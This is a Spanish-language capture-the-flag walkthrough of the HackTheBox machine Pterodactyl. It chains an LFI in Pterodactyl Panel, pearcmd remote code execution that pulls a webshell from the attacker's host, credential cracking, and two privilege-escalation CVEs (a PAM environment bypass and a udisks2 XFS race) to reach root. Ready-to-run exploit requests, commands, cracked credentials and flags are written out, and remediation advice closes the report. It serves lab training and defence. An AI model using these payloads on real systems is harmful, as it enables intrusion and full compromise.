
HackTheBox — Walkthrough de Pterodactyl (Medium/Linux). CVE-2025-49132 LFI → pearcmd RCE → crackeo de bcrypt → SSH. Escalada de privilegios vía CVE-2025-6018 (bypass de pam_environment en PAM) + CVE-2025-6019 (condición de carrera en resize de XFS de udisks2, bypass de nosuid) → root. Incluye notas completas y pasos.
Fecha: 8 de abril de 2026
Objetivo: Pterodactyl (HackTheBox)
Dificultad: Media
SO: Linux (openSUSE Leap 15.6)
Evaluador: V0idW1re
La máquina Pterodactyl en HackTheBox presentó un escenario de ataque realista que involucraba una aplicación web mal configurada y vulnerabilidades de escalada de privilegios encadenadas. Partiendo desde una posición no autenticada, el evaluador logró un compromiso total de root a través de una secuencia lógica de pasos de explotación. La cadena de ataque incluyó una vulnerabilidad de Inclusión de Archivos Locales no autenticada, el uso creativo de un gestor de paquetes PHP para ejecución remota de código, extracción y descifrado de credenciales, y finalmente el encadenamiento de dos CVEs divulgados públicamente para escalar desde un usuario con pocos privilegios hasta root.
| Campo | Valor |
|---|---|
| IP objetivo | 10.129.25.223 |
| Nombre de host | pterodactyl.htb |
| SO | openSUSE Leap 15.6 |
| Servicios | SSH (22), HTTP (80) |
| Subdominios | panel.pterodactyl.htb |
La evaluación siguió una metodología estándar de pruebas de penetración:
Gravedad: Crítica
Componente: Panel Pterodactyl v1.11.10 — endpoint /locales/locale.json
Descripción:
El endpoint de locale del Panel Pterodactyl no sanitizaba los parámetros de consulta locale y namespace, permitiendo el salto de directorios. Debido a que la aplicación añadía .php al valor de namespace y lo cargaba mediante el mecanismo include de PHP, un atacante podía forzar al servidor a cargar y ejecutar archivos PHP arbitrarios en el sistema de archivos.
Exploit:
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
Impacto:
Se extrajeron las credenciales de la base de datos de config/database.php:
pterodactylPteraPanelpanelTambién se extrajo la clave de la aplicación Laravel de config/app.php.
Evidencia:
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
Gravedad: Crítica
Componente: Instalación de PHP PEAR + LFI
Descripción:
Con la primitiva LFI establecida, el evaluador aprovechó el script pearcmd.php del gestor de paquetes PEAR. Cuando la configuración de PHP tiene register_argc_argv=On (confirmado mediante phpinfo), la cadena de consulta es interpretada como argumentos de línea de comandos por pearcmd. Se utilizó el comando download para obtener un webshell PHP desde el servidor del atacante y guardarlo en el directorio web público del panel.
Exploit:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
Impacto:
Se escribió un webshell PHP en /var/www/pterodactyl/public/shell.php, proporcionando ejecución remota de código no autenticada como el usuario wwwrun.
Evidencia:
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
Gravedad: Alta
Componente: Base de datos panel de MySQL
Descripción:
Usando el shell RCE, el evaluador se conectó a la base de datos MySQL utilizando las credenciales obtenidas mediante LFI. La tabla users contenía contraseñas con hash bcrypt para todos los usuarios del panel. El hash del usuario phileasfogg3 fue descifrado offline usando una lista de palabras común.
Exploit:
SELECT username, password FROM users;
Credencial Descifrada:
phileasfogg3!QAZ2wsxImpacto:
Se obtuvo acceso SSH como phileasfogg3 y se capturó la flag de usuario:
user.txt: 916235b4261e70fdb090402c641a7808
Gravedad: Alta
Componente: Configuración PAM — pam_env.so con user_readenv=1
Descripción:
La configuración PAM en openSUSE Leap 15.6 lee el archivo ~/.pam_environment del usuario a través de pam_env.so con user_readenv=1. Al establecer variables de entorno específicas en este archivo, un usuario SSH sin privilegios puede engañar a systemd-logind y Polkit para que consideren la sesión como una sesión de consola física activa, obteniendo así privilegios allow_active.
Exploit:
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
Después de reconectarse vía SSH, la sesión fue reconocida como Active=yes, habilitando llamadas sin privilegios a métodos D-Bus de udisks2 que normalmente requieren presencia en consola física.
Evidencia:
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# Sin solicitud de autenticación
Gravedad: Crítica
Componente: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize
Descripción:
Cuando udisks2 redimensiona un sistema de archivos XFS mediante libblockdev, monta temporalmente la imagen del sistema de archivos en un directorio accesible mundialmente bajo /tmp/blockdev.* sin las banderas de montaje nosuid y nodev. Esto crea una breve ventana de condición de carrera durante la cual cualquier binario SUID presente en la imagen puede ejecutarse con UID efectivo elevado.
Un atacante con privilegios allow_active de Polkit (obtenidos mediante CVE-2025-6018) puede:
udisksctl loop-setupNota crítica sobre la compatibilidad de la imagen XFS:
La imagen XFS debe crearse con banderas específicas para openSUSE Leap 15.6 (SP5/SP6):
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
Exploit:
# Construir imagen XFS maliciosa (en la máquina del atacante)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# En el objetivo — competir por la ventana de redimensionamiento
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
Evidencia:
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
Flag de Root:
root.txt: d3a242011c18cb81f08ad80337330641
| Flag | Valor |
|---|---|
| user.txt | 916235b4261e70fdb090402c641a7808 |
| root.txt | d3a242011c18cb81f08ad80337330641 |
[No autenticado]
↓ CVE-2025-49132 (LFI)
[Credenciales de base de datos]
↓ pearcmd RCE
[Shell wwwrun]
↓ Volcado de credenciales MySQL + descifrado de hash
[SSH phileasfogg3]
↓ CVE-2025-6018 (bypass PAM → allow_active)
↓ CVE-2025-6019 (carrera de redimensionamiento udisks2 XFS)
[root]
Compromiso total del sistema objetivo. Un atacante con este nivel de acceso podría:
Este informe fue producido con fines educativos como parte de un ejercicio de laboratorio de HackTheBox. Todas las pruebas se realizaron en un entorno de laboratorio legal y aislado.
| Hallazgo | Remedio |
|---|
| CVE-2025-49132 (LFI) | Actualizar el Panel Pterodactyl a v1.11.11 o superior, que aplica validación alfanumérica estricta en los parámetros locale/namespace |
| RCE por pearcmd | Establecer register_argc_argv=Off en php.ini; eliminar PEAR si no es necesario |
| Contraseña débil | Aplicar políticas de contraseñas fuertes; usar un gestor de contraseñas |
| CVE-2025-6018 (PAM) | Establecer user_readenv=0 en la configuración PAM para pam_env.so |
| CVE-2025-6019 (udisks2) | Actualizar udisks2 y libblockdev a versiones parcheadas; modificar la regla de Polkit para org.freedesktop.udisks2.modify-device cambiando allow_active de yes a auth_admin |